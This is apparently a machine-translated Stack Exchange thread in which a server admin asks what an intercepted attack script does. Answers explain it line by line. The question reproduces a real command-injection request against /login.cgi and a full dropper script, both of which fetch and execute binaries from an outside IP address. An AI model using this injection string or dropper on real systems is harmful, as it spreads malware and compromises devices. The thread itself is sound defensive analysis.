このbashスクリプトは何をしますか?[ハックの試み]


31

私は最近、サーバーのApacheログに気付いていましたが、最近次の奇妙な行があります:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

そこで、カスタムFail2Banフィルターを作成し、これらの/login.cgi URLを要求するIPの禁止を開始しました。

しかし、私は彼らが何をしようとしていたのか興味があったので、彼らが実行しようとしているスクリプトを引っ張ったので、それが何をしているのか正確には分からないようです。/ varおよび/ tmpのarchフォルダーを削除する方法はありますか?

とにかく、ここにあります:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done


1
そもそも、そのスクリプトはどのようにしてサーバーに導入されたのでしょうか?
MrWhite

3
自宅のPCのブラウザーで.shファイルを開いて、ここにコピーして貼り付けただけで、実際にはサーバーに保存されませんでした。
ndom91

1
このスクリプトは、実際のエクスプロイトスクリプトをダウンロードするために使用される「ドロッパー」です。これは、に位置することになるhxxp://80.211.173.159:80/$name場所$nameでのCPUアーキテクチャのそれぞれですbin_names。7つの攻撃スクリプトがダウンロードされ、実行されます
BlueCacti

回答:


42

1行ずつ:

#!/bin/sh

shシェル、つまりシェバンラインのいずれかを確立します。sh%20/tmp/ksリクエストではこれがオーバーライドされるため、この行は通常のコメントとして扱われ、無視されます。

u="asgknskjdgn"

おそらく他のファイル名との衝突を避けるために、任意の名前を宣言します。なぜを使用しmktempないのかはわかりませんが、すべてのプラットフォームで利用できるとは限りません。

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

いくつかの一般的なCPUアーキテクチャを列挙します。

http_server="80.211.173.159"
http_port=80

エクスプロイトがあるサーバー。

cd /tmp/||cd /var/

Webサーバーがファイルを作成できる場所にディレクトリを変更しようとします。SELinuxは、ファイルシステムが単独で行うよりもWebサーバーでできることについて、より厳しいルールを適用することで、これを支援すると考えています。

for name in $bin_names
    do

各CPUアーキテクチャについて…

    rm -rf $u

以前に試行されたエクスプロイトプログラムを削除します。次の行のために不要なので、無視できます。

    cp $SHELL $u

現在のシェル実行可能ファイル(/bin/sh)をコピーします。次の行があるため無視できます。

    chmod 777 $u

全員が新しいファイルにフルアクセスできるようにします。これはwgetコマンドの後にあるはずです。これは、シェルスクリプトの初心者のサインか、誤った方向のテクニックのいずれかです。

    >$u

ファイルを空にします。次の行のために無意味です。

    wget http://$http_server:$http_port/$name -O -> $u

このアーキテクチャのエクスプロイトスクリプトでファイルを上書きします。-O -> $u書かれている可能性-O - > $uに相当する(ハイフンはダウンロードが標準出力に書き込まれるべきであることを示しています)-O $u

    ./$u $name

最初の引数としてアーキテクチャを使用してエクスプロイトスクリプトを実行します。

done

ループを終了します。

これは、さまざまなCPUプラットフォームに対して既知のエクスプロイトを試行する些細なエクスプロイト試行スクリプトのようです。なぜ$u3回上書きするのかはわかりませんが、これらの操作は、スクリプトの以前の反復からそのまま残る可能性があります。おそらく以前のバージョンには、動的に提供されるのではなくハードコードされたエクスプロイトがありました。前者の方が簡単ですが、バグが修正されるとスクリプトの効果が低下することがほぼ保証されます。


21
ファイルを明示的にrmすることには利点があります。宛先がすでに存在し、現在実行されている場合、カーネルは書き込み用にファイルを開くことを許可しません(-ETXTBSY)。ただし、実行中のプログラムの名前変更または削除は許可されています。
-grawity

何をしない->wgetコマンドがありますか?どうしてwget ... -O $u
ロンジョン

1
@RonJohnはそれを次のように読みました- >

5
では-O->filenameps axのfilename出力には表示されません。これは、デバッグを難しくするための利点です。
PTS

1
cpあなたの実行可能ファイルを提供します。chmod失敗した場合に役立つ可能性がありますか?編集:明らかにこれがルータを対象としていることを考えると、chmod存在しない可能性は十分にあります。
ボブ

12

これwgetが重要な危険な行です。

for name in $bin_namesプラットフォームのリストを働いていると、各プラットフォームのためには、一時ディレクトリをクリアする上にシェルをコピーして、誰もがそれがアクセス可能に。

次に、ファイルをダウンロードし、wgetコピーしたばかりのシェルプログラムを使用して実行します。

このスクリプトは基本的に、可能なプラットフォームごとに一連の実行可能ファイルまたはスクリプトをダウンロードしようとし、システムをさらに侵害する可能性があることを期待して、システムに対してそれらをこすります。


6
摩擦==実行中?
バーマー

5
@バーマー私はそれが意図的だったと確信しています:P
カナダのルークレインステートモニカ
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.